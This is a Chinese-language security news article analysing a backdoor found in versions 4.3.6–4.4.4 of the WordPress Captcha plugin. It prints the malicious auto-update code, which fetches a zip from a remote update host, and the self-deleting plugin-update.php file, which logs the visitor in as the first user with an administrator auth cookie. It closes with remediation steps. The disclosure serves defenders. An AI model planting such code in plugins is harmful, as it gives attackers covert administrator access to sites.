新聞中心
wordpress官方插件Captcha驚現(xiàn)后門!
作者 / 無憂主機(jī) 時(shí)間 2017-12-29 16:53:02
captcha是wordpress的官方插件,用于驗(yàn)證碼,據(jù)說這個(gè)后門是偶然被發(fā)現(xiàn)的,是因?yàn)楹箝T版本的作者對(duì)使用wordpress商標(biāo)的問題,接著wordpress把captcha下架,繼而wordfence(為wordpress提供waf的廠商)檢查發(fā)現(xiàn)插件后門。 這個(gè)后門是更新觸發(fā),從4.3.6版本開始(本人安裝的版本)就有后門,執(zhí)行插件更新就會(huì)加入后門代碼。這個(gè)后門利用userID(admin)創(chuàng)建會(huì)話,設(shè)置認(rèn)證cookie,接著刪除痕跡,后門是管理員權(quán)限,但是由于執(zhí)行了unlink(__FILE__),所以只能被用一次。 目前這款插件有300000+活躍安裝,影響范圍非常大,后門首次發(fā)現(xiàn)在12月4日的4.3.6版本,官方在12月20日刪除該后門,所以4日到20日更新該插件的用戶都必然被植入了后門。 受影響的插件版本:4.3.6~4.4.4 這個(gè)后門影響范圍還是比較廣的,中招的用戶應(yīng)趕緊排查更新!
后門分析
這里利用12月4日的4.3.6版本的源碼分析 https://plugins.trac.wordpress.org/changeset/1780758/captcha Captcha.php: 首先看看cptch_wp_plugin_auto_update()函數(shù),由函數(shù)名可以看出這是自動(dòng)更新功能,其中$wptuts_plugin_remote_path = 'https://simplywordpress.net/captcha/captcha_pro_update.php';請(qǐng)求這個(gè)文件會(huì)下載zip對(duì)該插件更新,但是本人訪問已經(jīng)空白無下載(20171222)。 繼續(xù)往下到8394行:
if(isset($_GET['captcha']) and $_GET['captcha'] == 'updateplugin') { add_action('init', 'cptch_wp_plugin_auto_update'); }表示點(diǎn)擊更新則調(diào)用cptch_wp_plugin_auto_update()函數(shù)。 看看8390行
new cptch_wp_auto_update($wptuts_plugin_current_version, $wptuts_plugin_remote_path, $wptuts_plugin_slug);繼續(xù)跟進(jìn) cptch_wp_auto_update 這個(gè)類看看。 cptch_wp_auto_update.php: 賦值后進(jìn)入 if( $this->cptch_check_update()) 執(zhí)行更新 那就來到cptch_check_update()函數(shù)看看 關(guān)鍵代碼:
$url = $this->update_path; // Local Zip File Path curl_setopt($ch, CURLOPT_URL, $url); $page = curl_exec($ch);這個(gè)url就是https://simplywordpress.net/captcha/captcha_pro_update.php下載更新的插件zip。 接著解壓更新 activate_plugins($my_plugin); 更新的zip內(nèi)存在后門文件 plugin-update.php: 關(guān)鍵代碼:
@unlink(__FILE__); require('../../../wp-blog-header.php'); require('../../../wp-includes/pluggable.php'); $user_info = get_userdata(1); // Automatic login // $username = $user_info->user_login; $user = get_user_by('login', $username ); // Redirect URL // if ( !is_wp_error( $user ) ) { wp_clear_auth_cookie(); wp_set_current_user ( $user->ID ); wp_set_auth_cookie ( $user->ID ); $redirect_to = user_admin_url(); wp_safe_redirect( $redirect_to ); exit(); }Unlink(__FILE__): 刪除自己 Get_userdata(1): 獲取管理員信息 Wp_clear_auth_cookie(): 移除關(guān)聯(lián)認(rèn)證的cookie Wp_set_current_user(): 改變當(dāng)前用戶 Wp_set_auth_cookie(): 根據(jù)userID設(shè)置認(rèn)證cookie 接著攻擊者就以管理員進(jìn)入后臺(tái)。
修復(fù)方案
1.刪除后門文件plugin-update.php。 2.查看captcha.php是否有后門鏈接,有則手動(dòng)刪除插件再安裝最新版本。 3.更新到最新版本。本文地址:http://www.gle-technology.com/safety/25859.html